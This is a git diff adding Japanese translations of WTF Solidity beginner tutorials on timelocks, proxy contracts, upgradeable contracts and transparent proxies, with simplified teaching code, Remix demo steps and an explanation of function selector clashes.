管理者アドレスを変更、呼び出し者はTimelockコントラクトである必要があります。 + */ + function changeAdmin(address newAdmin) public onlyTimelock { + admin = newAdmin; + + emit NewAdmin(newAdmin); + } + + /** + * @dev トランザクションを作成してタイムロックキューに追加。 + * @param target: 対象コントラクトアドレス + * @param value: 送信eth数量 + * @param signature: 呼び出す関数シグネチャ(function signature) + * @param data: call data、内部にいくつかのパラメータがあります + * @param executeTime: トランザクション実行のブロックチェーンタイムスタンプ + * + * 要求:executeTime は 現在のブロックチェーンタイムスタンプ+delay より大きい + */ + function queueTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 executeTime) public onlyOwner returns (bytes32) { + // チェック:トランザクション実行時間がロック時間を満たす + require(executeTime >= getBlockTimestamp() + delay, "Timelock::queueTransaction: Estimated execution block must satisfy delay."); + // トランザクションの一意識別子を計算:一堆東西のhash + bytes32 txHash = getTxHash(target, value, signature, data, executeTime); + // トランザクションをキューに追加 + queuedTransactions[txHash] = true; + + emit QueueTransaction(txHash, target, value, signature, data, executeTime); + return txHash; + } + + /** + * @dev 特定のトランザクションをキャンセル。 + * + * 要求:トランザクションがタイムロックキューにある + */ + function cancelTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 executeTime) public onlyOwner{ + // トランザクションの一意識別子を計算:一堆東西のhash + bytes32 txHash = getTxHash(target, value, signature, data, executeTime); + // チェック:トランザクションがタイムロックキューにある + require(queuedTransactions[txHash], "Timelock::cancelTransaction: Transaction hasn't been queued."); + // トランザクションをキューから削除 + queuedTransactions[txHash] = false; + + emit CancelTransaction(txHash, target, value, signature, data, executeTime); + } + + /** + * @dev 特定のトランザクションを実行。 + * + * 要求: + * 1. トランザクションがタイムロックキューにある + * 2. トランザクションの実行時間に達している + * 3. トランザクションが期限切れでない + */ + function executeTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 executeTime) public payable onlyOwner returns (bytes memory) { + bytes32 txHash = getTxHash(target, value, signature, data, executeTime); + // チェック:トランザクションがタイムロックキューにあるか + require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); + // チェック:トランザクションの実行時間に達しているか + require(getBlockTimestamp() >= executeTime, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); + // チェック:トランザクションが期限切れでないか + require(getBlockTimestamp() <= executeTime + GRACE_PERIOD, "Timelock::executeTransaction: Transaction is stale."); + // トランザクションをキューから削除 + queuedTransactions[txHash] = false; + + // call dataを取得 + bytes memory callData; + if (bytes(signature).length == 0) { + callData = data; + } else { + callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); + } + // callを利用してトランザクションを実行 + (bool success, bytes memory returnData) = target.call{value: value}(callData); + require(success, "Timelock::executeTransaction: Transaction execution reverted."); + + emit ExecuteTransaction(txHash, target, value, signature, data, executeTime); + + return returnData; + } + + /** + * @dev 現在のブロックチェーンタイムスタンプを取得 + */ + function getBlockTimestamp() public view returns (uint) { + return block.timestamp; + } + + /** + * @dev 一堆東西をまとめてトランザクションの識別子にする + */ + function getTxHash( + address target, + uint value, + string memory signature, + bytes memory data, + uint executeTime + ) public pure returns (bytes32) { + return keccak256(abi.encode(target, value, signature, data, executeTime)); + } +``` + +## `Remix`デモ +### 1. `Timelock`コントラクトをデプロイ、ロック期間を`120`秒に設定。 + +![`Remix`デモ](./img/45-1.jpg) + +### 2. 直接`changeAdmin()`を呼び出すとエラーが発生。 + +![`Remix`デモ](./img/45-2.jpg) + +### 3. 管理者変更トランザクションを構築。 +トランザクションを構築するために、以下のパラメータをそれぞれ入力する必要があります: +address target, uint256 value, string memory signature, bytes memory data, uint256 executeTime +- `target`:`Timelock`自体の関数を呼び出すため、コントラクトアドレスを入力。 +- `value`:ETHを転送しないため、ここは`0`。 +- `signature`:`changeAdmin()`の関数シグネチャ:`"changeAdmin(address)"`。 +- `data`:ここに渡すパラメータ、つまり新しい管理者のアドレスを入力。ただし、アドレスを32バイトのデータに埋め込み、[イーサリアムABIエンコード標準](https://github.com/AmazingAng/WTF-Solidity/blob/main/27_ABIEncode/readme.md)を満たす必要があります。[hashex](https://abi.hashex.org/)サイトでパラメータのABIエンコードができます。例: + ```solidity + エンコード前アドレス:0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 + エンコード後アドレス:0x000000000000000000000000ab8483f64d9c6d1ecf9b849ae677dd3315835cb2 + ``` +- `executeTime`:まず`getBlockTimestamp()`を呼び出して現在のブロックチェーン時間を取得し、その上に150秒追加して入力。 +![`Remix`デモ](./img/45-3.jpg) + +### 4. `queueTransaction`を呼び出して、トランザクションをタイムロックキューに配置。 + +![`Remix`デモ](./img/45-4.jpg) + +### 5. ロック期間内に`executeTransaction`を呼び出すと、呼び出しに失敗。 + +![`Remix`デモ](./img/45-5.jpg) + +### 6. ロック期間満了時に`executeTransaction`を呼び出すと、トランザクションが成功。 + +![`Remix`デモ](./img/45-6.jpg) + +### 7. 新しい`admin`アドレスを確認。 + +![`Remix`デモ](./img/45-7.jpg) + +## まとめ + +タイムロックはスマートコントラクトの特定の機能を一定期間ロックし、プロジェクト方の`rug pull`やハッカー攻撃の機会を大幅に減らし、分散型アプリケーションのセキュリティを向上させることができます。`DeFi`と`DAO`で広く採用されており、`Uniswap`や`Compound`も含まれます。あなたが投資しているプロジェクトはタイムロックを使用していますか? \ No newline at end of file diff --git a/Languages/ja/46_ProxyContract_ja/readme.md b/Languages/ja/46_ProxyContract_ja/readme.md new file mode 100644 index 000000000..528844200 --- /dev/null +++ b/Languages/ja/46_ProxyContract_ja/readme.md @@ -0,0 +1,200 @@ +--- +title: 46. プロキシコントラクト +tags: + - solidity + - proxy + +--- + +# WTF Solidity 超シンプル入門: 46. プロキシコントラクト + +最近、Solidityを再学習しており、詳細を確認しながら「WTF Solidity 超シンプル入門」を執筆しています。これは初心者向けのガイドで、プログラミングの達人向けの教材ではありません。毎週1〜3レッスンのペースで更新していきます。 + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ: [Discord](https://discord.gg/5akcruXrsk)|[WeChat グループ](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはGitHubにて公開: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +このレッスンでは、プロキシコントラクト(Proxy Contract)について説明します。教材のコードはOpenZeppelinの[Proxyコントラクト](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/Proxy.sol)を簡略化したものです。 + +## プロキシパターン + +`Solidity`コントラクトがチェーン上にデプロイされた後、コードは不変(immutable)になります。これには長所と短所があります: + +- 長所:安全で、ユーザーは何が起こるかを知ることができる(大部分の場合) +- 短所:コントラクトにバグが存在していても修正やアップグレードができず、新しいコントラクトをデプロイする必要がある。しかし、新しいコントラクトのアドレスは古いものとは異なり、コントラクトのデータも大量のガスを消費して移行する必要がある。 + +コントラクトをデプロイ後に修正またはアップグレードする方法はあるのでしょうか?答えは「はい」です。それが**プロキシパターン**です。 + +![プロキシパターン](./img/46-1.png) + +プロキシパターンはコントラクトのデータとロジックを分離し、それぞれを異なるコントラクトに保存します。上図のシンプルなプロキシコントラクトを例にすると、データ(状態変数)はプロキシコントラクトに保存され、ロジック(関数)は別のロジックコントラクトに保存されます。プロキシコントラクト(Proxy)は`delegatecall`を通じて、関数呼び出しを完全にロジックコントラクト(Implementation)に委託して実行し、最終的な結果を呼び出し元(Caller)に返します。 + +プロキシパターンには主に2つの利点があります: +1. アップグレード可能:コントラクトのロジックをアップグレードする必要がある場合、プロキシコントラクトを新しいロジックコントラクトに向けるだけで済みます。 +2. ガス節約:複数のコントラクトが同じロジックを使用する場合、1つのロジックコントラクトをデプロイし、データのみを保存する複数のプロキシコントラクトをデプロイして、ロジックコントラクトを参照すればよい。 + +**ヒント**:`delegatecall`に慣れていない方は、本チュートリアルの[第23回 Delegatecall](https://github.com/AmazingAng/WTF-Solidity/tree/main/23_Delegatecall)をご覧ください。 + +## プロキシコントラクト + +以下、OpenZeppelinの[Proxyコントラクト](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/Proxy.sol)から簡略化されたシンプルなプロキシコントラクトを紹介します。これには3つの部分があります:プロキシコントラクト`Proxy`、ロジックコントラクト`Logic`、そして呼び出し例`Caller`です。ロジックはそれほど複雑ではありません: + +- まずロジックコントラクト`Logic`をデプロイする +- プロキシコントラクト`Proxy`を作成し、状態変数`implementation`に`Logic`コントラクトのアドレスを記録 +- `Proxy`コントラクトはフォールバック関数`fallback`を利用して、すべての呼び出しを`Logic`コントラクトに委託 +- 最後に呼び出し例`Caller`コントラクトをデプロイし、`Proxy`コントラクトを呼び出す +- **注意**:`Logic`コントラクトと`Proxy`コントラクトの状態変数の保存構造は同じでなければならず、そうでないと`delegatecall`が予期しない動作を引き起こし、セキュリティリスクが発生します。 + +### プロキシコントラクト`Proxy` + +`Proxy`コントラクトは長くありませんが、インラインアセンブリを使用しているため理解が難しいです。状態変数1つ、コンストラクタ1つ、フォールバック関数1つのみです。状態変数`implementation`はコンストラクタで初期化され、`Logic`コントラクトのアドレスを保存するために使用されます。 + +```solidity +contract Proxy { + address public implementation; // ロジックコントラクトのアドレス。implementationコントラクトの同じ位置の状態変数の型はProxyコントラクトと同じでなければならない + + /** + * @dev ロジックコントラクトのアドレスを初期化 + */ + constructor(address implementation_){ + implementation = implementation_; + } +``` + +`Proxy`のフォールバック関数は、本コントラクトへの外部呼び出しを`Logic`コントラクトに委託します。このフォールバック関数は特殊で、インラインアセンブリ(inline assembly)を利用して、本来返り値を持つことができないフォールバック関数に返り値を持たせています。使用されているインラインアセンブリのオペコード: + +- `calldatacopy(t, f, s)`:calldata(入力データ)を位置`f`から`s`バイト分、メモリの位置`t`にコピー +- `delegatecall(g, a, in, insize, out, outsize)`:アドレス`a`のコントラクトを呼び出し、入力は`mem[in..(in+insize))`、出力は`mem[out..(out+outsize))`、`g` weiのイーサリアムガスを提供。このオペコードはエラー時に`0`を返し、成功時に`1`を返す +- `returndatacopy(t, f, s)`:returndata(出力データ)を位置`f`から`s`バイト分、メモリの位置`t`にコピー +- `switch`:基本的な`if/else`、異なるケース`case`で異なる値を返す。デフォルトの`default`ケースを持つことができる +- `return(p, s)`:関数の実行を終了し、データ`mem[p..(p+s))`を返す +- `revert(p, s)`:関数の実行を終了し、状態をロールバック、データ`mem[p..(p+s))`を返す + +```solidity +/** +* @dev フォールバック関数、本コントラクトへの呼び出しを`implementation`コントラクトに委託 +* assemblyを通じて、フォールバック関数も返り値を持つことができる +*/ +fallback() external payable { + address _implementation = implementation; + assembly { + // msg.dataをメモリにコピー + // calldatacopyオペコードのパラメータ:メモリ開始位置、calldata開始位置、calldata長さ + calldatacopy(0, 0, calldatasize()) + + // delegatecallを使用してimplementationコントラクトを呼び出す + // delegatecallオペコードのパラメータ:gas、ターゲットコントラクトアドレス、input mem開始位置、input mem長さ、output area mem開始位置、output area mem長さ + // output area開始位置と長さは0に設定 + // delegatecall成功時は1を返し、失敗時は0を返す + let result := delegatecall(gas(), _implementation, 0, calldatasize(), 0, 0) + + // return dataをメモリにコピー + // returndataオペコードのパラメータ:メモリ開始位置、returndata開始位置、returndata長さ + returndatacopy(0, 0, returndatasize()) + + switch result + // delegatecallが失敗した場合、revert + case 0 { + revert(0, returndatasize()) + } + // delegatecallが成功した場合、mem開始位置0、長さreturndatasize()のデータ(bytes形式)を返す + default { + return(0, returndatasize()) + } + } +} +``` + +### ロジックコントラクト`Logic` + +これはプロキシコントラクトのデモンストレーションのための非常にシンプルなロジックコントラクトです。`2`つの変数、`1`つのイベント、`1`つの関数が含まれています: +- `implementation`:プレースホルダー変数、`Proxy`コントラクトと一致させ、スロット競合を防ぐ +- `x`:`uint`変数、`99`に設定されている +- `CallSuccess`イベント:呼び出し成功時に発行される +- `increment()`関数:`Proxy`コントラクトから呼び出され、`CallSuccess`イベントを発行し、`uint`を返す。セレクタは`0xd09de08a`。直接`increment()`を呼び出すと`100`を返すが、`Proxy`を通じて呼び出すと`1`を返す。なぜか考えてみてください。 + +```solidity +/** + * @dev ロジックコントラクト、委託された呼び出しを実行 + */ +contract Logic { + address public implementation; // Proxyと一致させ、スロット競合を防ぐ + uint public x = 99; + event CallSuccess(); // 呼び出し成功イベント + + // この関数はCallSuccessイベントを発行し、uintを返す + // 関数セレクタ: 0xd09de08a + function increment() external returns(uint) { + emit CallSuccess(); + return x + 1; + } +} +``` + +### 呼び出し元コントラクト`Caller` + +`Caller`コントラクトは、プロキシコントラクトを呼び出す方法を示します。これも非常にシンプルです。しかし、理解するためには本チュートリアルの[第22回 Call](https://github.com/AmazingAng/WTF-Solidity/tree/main/22_Call/readme.md)と[第27回 ABIエンコーディング](https://github.com/AmazingAng/WTF-Solidity/tree/main/27_ABIEncode/readme.md)を先に学習する必要があります。 + +`1`つの変数と`2`つの関数があります: +- `proxy`:状態変数、プロキシコントラクトのアドレスを記録 +- コンストラクタ:コントラクトデプロイ時に`proxy`変数を初期化 +- `increase()`:`call`を利用してプロキシコントラクトの`increment()`関数を呼び出し、`uint`を返す。呼び出し時には、`abi.encodeWithSignature()`を利用して`increment()`関数のセレクタを取得。返り値では、`abi.decode()`を利用して返り値を`uint`型にデコード + +```solidity +/** + * @dev Callerコントラクト、プロキシコントラクトを呼び出し、実行結果を取得 + */ +contract Caller{ + address public proxy; // プロキシコントラクトアドレス + + constructor(address proxy_){ + proxy = proxy_; + } + + // プロキシコントラクトを通じてincrement()関数を呼び出す + function increment() external returns(uint) { + ( , bytes memory data) = proxy.call(abi.encodeWithSignature("increment()")); + return abi.decode(data,(uint)); + } +} +``` + +## `Remix`でのデモンストレーション + +1. `Logic`コントラクトをデプロイする。 + +![](./img/46-2.jpg) + +2. `Logic`コントラクトの`increment()`関数を呼び出すと、`100`が返される。 + +![](./img/46-3.jpg) + +3. `Proxy`コントラクトをデプロイし、初期化時に`Logic`コントラクトのアドレスを入力する。 + +![](./img/46-4.jpg) + +4. `Proxy`コントラクトの`increment()`関数を呼び出すと、返り値はない。 + + 呼び出し方法:`Remix`のデプロイパネルで`Proxy`コントラクトをクリックし、一番下の`Low level interaction`に`increment()`関数のセレクタ`0xd09de08a`を入力し、`Transact`をクリック。 + +![](./img/46-5.jpg) + +5. `Caller`コントラクトをデプロイし、初期化時に`Proxy`コントラクトのアドレスを入力する。 + +![](./img/46-6.jpg) + +6. `Caller`コントラクトの`increment()`関数を呼び出すと、`1`が返される。 + +![](./img/46-7.jpg) + +## まとめ + +このレッスンでは、プロキシパターンとシンプルなプロキシコントラクトについて説明しました。プロキシコントラクトは`delegatecall`を利用して関数呼び出しを別のロジックコントラクトに委託し、データとロジックが異なるコントラクトによって管理されます。また、インラインアセンブリの黒魔術を利用して、返り値を持たないフォールバック関数でもデータを返せるようにしています。前述の質問への答え:なぜProxyを通じて`increment()`を呼び出すと1が返されるのか?[第23回 Delegatecall](https://github.com/AmazingAng/WTF-Solidity/tree/main/23_Delegatecall)で説明したように、CallerコントラクトがProxyコントラクトを通じてLogicコントラクトを`delegatecall`する際、Logicコントラクトの関数が状態変数を変更または読み取る場合、すべてProxyの対応する変数上で操作されます。ここでProxyコントラクトの`x`変数の値は0です(`x`変数を設定したことがないため、Proxyコントラクトのstorageエリアの対応位置の値は0)。そのため、Proxyを通じて`increment()`を呼び出すと1が返されます。 + +次のレッスンでは、アップグレード可能なプロキシコントラクトについて説明します。 + +プロキシコントラクトは非常に強力ですが、`バグ`が発生しやすいため、使用する際は[OpenZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/proxy)のテンプレートコントラクトを直接コピーすることをお勧めします。 \ No newline at end of file diff --git a/Languages/ja/47_Upgrade_ja/readme.md b/Languages/ja/47_Upgrade_ja/readme.md new file mode 100644 index 000000000..7c2e532fb --- /dev/null +++ b/Languages/ja/47_Upgrade_ja/readme.md @@ -0,0 +1,140 @@ +--- +title: 47. アップグレード可能コントラクト +tags: + - solidity + - proxy + - OpenZeppelin + +--- + +# WTF Solidity 超シンプル入門: 47. アップグレード可能コントラクト + +最近、Solidityを再学習しており、詳細を確認しながら「WTF Solidity 超シンプル入門」を執筆しています。これは初心者向けのガイドで、プログラミングの達人向けの教材ではありません。毎週1〜3レッスンのペースで更新していきます。 + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ: [Discord](https://discord.gg/5akcruXrsk)|[WeChat グループ](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはGitHubにて公開: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +このレッスンでは、アップグレード可能コントラクト(Upgradeable Contract)について説明します。教材で使用するコントラクトは`OpenZeppelin`のコントラクトを簡略化したもので、セキュリティ上の問題がある可能性があるため、本番環境では使用しないでください。 + +## アップグレード可能コントラクト + +プロキシコントラクトを理解していれば、アップグレード可能コントラクトを理解するのは簡単です。これはロジックコントラクトを変更できるプロキシコントラクトです。 + +![アップグレード可能パターン](./img/47-1.png) + +## シンプルな実装 + +以下、シンプルなアップグレード可能コントラクトを実装します。これには`3`つのコントラクトが含まれます:プロキシコントラクト、旧ロジックコントラクト、新ロジックコントラクトです。 + +### プロキシコントラクト + +このプロキシコントラクトは[第46回](https://github.com/AmazingAng/WTF-Solidity/blob/main/46_ProxyContract/readme.md)のものよりシンプルです。`fallback()`関数で`インラインアセンブリ`を使用せず、単に`implementation.delegatecall(msg.data);`を使用しています。そのため、フォールバック関数には返り値がありませんが、教材としては十分です。 + +`3`つの変数を含みます: + +- `implementation`:ロジックコントラクトのアドレス +- `admin`:管理者アドレス +- `words`:文字列、ロジックコントラクトの関数を通じて変更可能 + +`3`つの関数を含みます: + +- コンストラクタ:管理者とロジックコントラクトのアドレスを初期化 +- `fallback()`:フォールバック関数、呼び出しをロジックコントラクトに委託 +- `upgrade()`:アップグレード関数、ロジックコントラクトのアドレスを変更、`admin`のみが呼び出し可能 + +```solidity +// SPDX-License-Identifier: MIT +// wtf.academy +pragma solidity ^0.8.21; + +// シンプルなアップグレード可能コントラクト、管理者はアップグレード関数を通じてロジックコントラクトアドレスを変更でき、 +// それによりコントラクトのロジックを変更できる +// 教材デモ用、本番環境では使用しないでください +contract SimpleUpgrade { + address public implementation; // ロジックコントラクトアドレス + address public admin; // 管理者アドレス + string public words; // 文字列、ロジックコントラクトの関数を通じて変更可能 + + // コンストラクタ、管理者とロジックコントラクトアドレスを初期化 + constructor(address _implementation){ + admin = msg.sender; + implementation = _implementation; + } + + // fallback関数、呼び出しをロジックコントラクトに委託 + fallback() external payable { + (bool success, bytes memory data) = implementation.delegatecall(msg.data); + } + + // アップグレード関数、ロジックコントラクトアドレスを変更、管理者のみ呼び出し可能 + function upgrade(address newImplementation) external { + require(msg.sender == admin); + implementation = newImplementation; + } +} +``` + +### 旧ロジックコントラクト + +このロジックコントラクトには`3`つの状態変数が含まれ、プロキシコントラクトと一致させてスロット競合を防ぎます。`foo()`関数が1つだけあり、プロキシコントラクトの`words`の値を`"old"`に変更します。 + +```solidity +// ロジックコントラクト1 +contract Logic1 { + // 状態変数はproxyコントラクトと一致、スロット競合を防ぐ + address public implementation; + address public admin; + string public words; // 文字列、ロジックコントラクトの関数を通じて変更可能 + + // proxyの状態変数を変更、セレクタ:0xc2985578 + function foo() public{ + words = "old"; + } +} +``` + +### 新ロジックコントラクト + +このロジックコントラクトには`3`つの状態変数が含まれ、プロキシコントラクトと一致させてスロット競合を防ぎます。`foo()`関数が1つだけあり、プロキシコントラクトの`words`の値を`"new"`に変更します。 + +```solidity +// ロジックコントラクト2 +contract Logic2 { + // 状態変数はproxyコントラクトと一致、スロット競合を防ぐ + address public implementation; + address public admin; + string public words; // 文字列、ロジックコントラクトの関数を通じて変更可能 + + // proxyの状態変数を変更、セレクタ:0xc2985578 + function foo() public{ + words = "new"; + } +} +``` + +## `Remix`での実装 + +1. 新旧ロジックコントラクト`Logic1`と`Logic2`をデプロイする。 +![47-2.png](./img/47-2.png) +![47-3.png](./img/47-3.png) + +2. アップグレード可能コントラクト`SimpleUpgrade`をデプロイし、`implementation`アドレスを旧ロジックコントラクトに向ける。 +![47-4.png](./img/47-4.png) + +3. セレクタ`0xc2985578`を使用して、プロキシコントラクトで旧ロジックコントラクト`Logic1`の`foo()`関数を呼び出し、`words`の値を`"old"`に変更する。 +![47-5.png](./img/47-5.png) + +4. `upgrade()`を呼び出し、`implementation`アドレスを新ロジックコントラクト`Logic2`に向ける。 +![47-6.png](./img/47-6.png) + +5. セレクタ`0xc2985578`を使用して、プロキシコントラクトで新ロジックコントラクト`Logic2`の`foo()`関数を呼び出し、`words`の値を`"new"`に変更する。 +![47-7.png](./img/47-7.png) + +## まとめ + +このレッスンでは、シンプルなアップグレード可能コントラクトを紹介しました。これはロジックコントラクトを変更できるプロキシコントラクトで、変更不可能なスマートコントラクトにアップグレード機能を追加します。ただし、このコントラクトには`セレクタ競合`の問題があり、セキュリティリスクが存在します。次回は、このリスクを解決するアップグレード可能コントラクトの標準:透明プロキシと`UUPS`について説明します。 \ No newline at end of file diff --git a/Languages/ja/48_TransparentProxy_ja/readme.md b/Languages/ja/48_TransparentProxy_ja/readme.md new file mode 100644 index 000000000..57f6d46d2 --- /dev/null +++ b/Languages/ja/48_TransparentProxy_ja/readme.md @@ -0,0 +1,144 @@ +# WTF Solidity 超シンプル入門: 48. 透明プロキシ + +最近、Solidity の学習を再開し、詳細を確認しながら「Solidity 超シンプル入門」を作っています。これは初心者向けのガイドで、プログラミングの達人向けの教材ではありません。毎週 1〜3 レッスンのペースで更新していきます。 + +僕のツイッター:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのソースコードやレッスンは github にて公開: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +この講義では、プロキシコントラクトのセレクター衝突(Selector Clash)と、この問題の解決策である透明プロキシ(Transparent Proxy)について説明します。教育用のコードは`OpenZeppelin`の[TransparentUpgradeableProxy](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/transparent/TransparentUpgradeableProxy.sol)を簡略化したもので、本番環境での使用は適していません。 + +## セレクター衝突 + +スマートコントラクトにおいて、関数セレクター(selector)は関数シグネチャのハッシュの最初の4バイトです。例えば`mint(address account)`のセレクターは`bytes4(keccak256("mint(address)"))`、つまり`0x6a627842`です。セレクターについての詳細は[WTF Solidity超シンプル入門第29講:関数セレクター](https://github.com/AmazingAng/WTF-Solidity/blob/main/29_Selector/readme.md)を参照してください。 + +関数セレクターは4バイトのみで範囲が小さいため、異なる2つの関数が同じセレクターを持つ可能性があります。以下の例をご覧ください: + +```solidity +// セレクター衝突の例 +contract Foo { + function burn(uint256) external {} + function collate_propagate_storage(bytes16) external {} +} +``` + +![48-1.png](./img/48-1.png) + +この例では、関数`burn()`と`collate_propagate_storage()`のセレクターは共に`0x42966c68`で同じです。この状況を「セレクター衝突」と呼びます。この場合、`EVM`は関数セレクターによってユーザーがどの関数を呼び出したいかを判別できないため、このコントラクトはコンパイルできません。 + +プロキシコントラクトとロジックコントラクトは2つの別々のコントラクトなので、それらの間に「セレクター衝突」があっても正常にコンパイルできますが、これは深刻なセキュリティ事故を引き起こす可能性があります。例えば、ロジックコントラクトの`a`関数とプロキシコントラクトのアップグレード関数のセレクターが同じ場合、管理者が`a`関数を呼び出すときに、プロキシコントラクトがブラックホールコントラクトにアップグレードされてしまうという深刻な結果を招く可能性があります。 + +現在、この問題を解決する2つのアップグレード可能なコントラクト標準があります:透明プロキシ`Transparent Proxy`と汎用アップグレード可能プロキシ`UUPS`です。 + +## 透明プロキシ + +透明プロキシのロジックは非常にシンプルです:管理者が「関数セレクター衝突」によってロジックコントラクトの関数を呼び出すときに、プロキシコントラクトのアップグレード関数を誤って呼び出してしまう可能性があります。そこで管理者の権限を制限し、ロジックコントラクトの関数を一切呼び出せないようにすることで衝突を解決します: + +- 管理者は道具役となり、プロキシコントラクトのアップグレード関数のみを呼び出してコントラクトをアップグレードでき、コールバック関数を通じてロジックコントラクトを呼び出すことはできません。 +- その他のユーザーはアップグレード関数を呼び出せませんが、ロジックコントラクトの関数は呼び出せます。 + +### プロキシコントラクト + +ここのプロキシコントラクトは[第47講](https://github.com/AmazingAng/WTF-Solidity/blob/main/47_Upgrade/readme.md)のものと非常に似ていますが、`fallback()`関数が管理者アドレスの呼び出しを制限している点が異なります。 + +3つの変数を含みます: +- `implementation`:ロジックコントラクトのアドレス。 +- `admin`:管理者アドレス。 +- `words`:文字列、ロジックコントラクトの関数で変更可能。 + +3つの関数を含みます: + +- コンストラクタ:管理者とロジックコントラクトのアドレスを初期化。 +- `fallback()`:コールバック関数、呼び出しをロジックコントラクトに委譲、`admin`は呼び出し不可。 +- `upgrade()`:アップグレード関数、ロジックコントラクトのアドレスを変更、`admin`のみ呼び出し可能。 + +```solidity +// 透明アップグレード可能コントラクトの教育用コード、本番環境では使用しないでください。 +contract TransparentProxy { + address implementation; // ロジックコントラクトのアドレス + address admin; // 管理者 + string public words; // 文字列、ロジックコントラクトの関数で変更可能 + + // コンストラクタ、管理者とロジックコントラクトのアドレスを初期化 + constructor(address _implementation){ + admin = msg.sender; + implementation = _implementation; + } + + // fallback関数、呼び出しをロジックコントラクトに委譲 + // 管理者は呼び出し不可、セレクター衝突による事故を回避 + fallback() external payable { + require(msg.sender != admin); + (bool success, bytes memory data) = implementation.delegatecall(msg.data); + } + + // アップグレード関数、ロジックコントラクトのアドレスを変更、管理者のみ呼び出し可能 + function upgrade(address newImplementation) external { + if (msg.sender != admin) revert(); + implementation = newImplementation; + } +} +``` + +### ロジックコントラクト + +ここの新旧ロジックコントラクトは[第47講](https://github.com/AmazingAng/WTF-Solidity/blob/main/47_Upgrade/readme.md)と同じです。ロジックコントラクトは3つの状態変数を含み、プロキシコントラクトと一致させてスロット衝突を防ぎます。関数`foo()`を1つ含み、旧ロジックコントラクトは`words`の値を`"old"`に変更し、新しいものは`"new"`に変更します。 + +```solidity +// 旧ロジックコントラクト +contract Logic1 { + // 状態変数をプロキシコントラクトと一致させ、スロット衝突を防ぐ + address public implementation; + address public admin; + string public words; // 文字列、ロジックコントラクトの関数で変更可能 + + // プロキシ内の状態変数を変更、セレクター: 0xc2985578 + function foo() public{ + words = "old"; + } +} + +// 新ロジックコントラクト +contract Logic2 { + // 状態変数をプロキシコントラクトと一致させ、スロット衝突を防ぐ + address public implementation; + address public admin; + string public words; // 文字列、ロジックコントラクトの関数で変更可能 + + // プロキシ内の状態変数を変更、セレクター:0xc2985578 + function foo() public{ + words = "new"; + } +} +``` + +## `Remix`での実装 + +1. 新旧ロジックコントラクト`Logic1`と`Logic2`をデプロイします。 +![48-2.png](./img/48-2.png) +![48-3.png](./img/48-3.png) + +2. 透明プロキシコントラクト`TranparentProxy`をデプロイし、`implementation`アドレスを旧ロジックコントラクトに指定します。 +![48-4.png](./img/48-4.png) + +3. セレクター`0xc2985578`を使用して、プロキシコントラクト内で旧ロジックコントラクト`Logic1`の`foo()`関数を呼び出します。管理者はロジックコントラクトを呼び出せないため、呼び出しは失敗します。 +![48-5.png](./img/48-5.png) + +4. 新しいウォレットに切り替えて、セレクター`0xc2985578`を使用し、プロキシコントラクト内で旧ロジックコントラクト`Logic1`の`foo()`関数を呼び出し、`words`の値を`"old"`に変更します。呼び出しは成功します。 +![48-6.png](./img/48-6.png) + +5. 管理者ウォレットに戻り、`upgrade()`を呼び出して、`implementation`アドレスを新ロジックコントラクト`Logic2`に指定します。 +![48-7.png](./img/48-7.png) + +6. 新しいウォレットに切り替えて、セレクター`0xc2985578`を使用し、プロキシコントラクト内で新ロジックコントラクト`Logic2`の`foo()`関数を呼び出し、`words`の値を`"new"`に変更します。 +![48-8.png](./img/48-8.png) + +## まとめ + +この講義では、プロキシコントラクトにおける「セレクター衝突」と、透明プロキシを使用してこの問題を回避する方法について説明しました。透明プロキシのロジックはシンプルで、管理者がロジックコントラクトを呼び出すことを制限することで「セレクター衝突」問題を解決します。欠点もあり、ユーザーが関数を呼び出すたびに管理者かどうかの追加チェックが行われ、より多くのガスを消費します。しかし、瑕疵を補って余りある利点があり、透明プロキシは依然として多くのプロジェクトが選択するソリューションです。 + +次回の講義では、ガス効率が良いがより複雑な汎用アップグレード可能プロキシ`UUPS`について説明します。 \ No newline at end of file diff --git a/Languages/ja/49_UUPS_ja/readme.md b/Languages/ja/49_UUPS_ja/readme.md new file mode 100644 index 000000000..b851a2f7d --- /dev/null +++ b/Languages/ja/49_UUPS_ja/readme.md @@ -0,0 +1,136 @@ +# WTF Solidity 超シンプル入門: 49. 汎用アップグレード可能プロキシ + +最近、Solidity の学習を再開し、詳細を確認しながら「Solidity 超シンプル入門」を作っています。これは初心者向けのガイドで、プログラミングの達人向けの教材ではありません。毎週 1〜3 レッスンのペースで更新していきます。 + 